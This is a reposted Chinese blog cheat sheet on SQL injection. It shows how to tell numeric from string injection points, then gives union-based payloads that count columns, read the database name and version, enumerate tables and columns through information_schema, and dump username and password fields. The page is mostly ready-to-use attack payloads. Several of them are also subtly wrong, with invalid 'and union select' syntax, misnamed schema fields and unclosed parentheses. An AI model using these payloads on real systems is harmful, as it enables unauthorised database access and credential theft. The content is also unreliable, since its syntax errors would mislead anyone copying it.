标签：group union sql table schema id select 注入

字符型、数字型sql判断

数字型

• id = 1' 报错
• id = 1 and 1=1 返回结果和id=1一样
• id=1 and 1=2 异常

字符型

• id = 1' 报错
• id = 1' and 1=1--+ 返回结果和id=1一样
• id =1' and 1=2--+ 异常

联合查询

查询回显的字段数量

?id=1 order by 3　　　　//判断order by后面的数字，如果正确则会显示和id=1一样的结果，如果错误Kennedy不回显或者报错

查询数据库名，数据库版本

?id=-1 and union select 1,version(),database() 　　　　//-1表示前面的内容错误，这样才能显示后面的内容，防止被覆盖

查询数据库表名

?id=-1 and union select 1,2,(select group_concat(table_name) from information_schema.table where table.schema='查出来的表名'     

或者?id=-1 and union select 1,2,(select group_concat(table_name) from information_schema.table where table.schema=database()

查询表的字段

?id=-1 and union select 1,2,(select group_concat(column_name) from information_schema.columns where table.name='查出来的表名'

查询表的内容

?id=-1 union select 1,2,(select group_concat(username,password) from 查出来的库名.查出来的表名　　　　//username和password是表中的字段

标签：group,union,sql,table,schema,id,select,注入
来源： https://www.cnblogs.com/ayheng/p/15195188.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。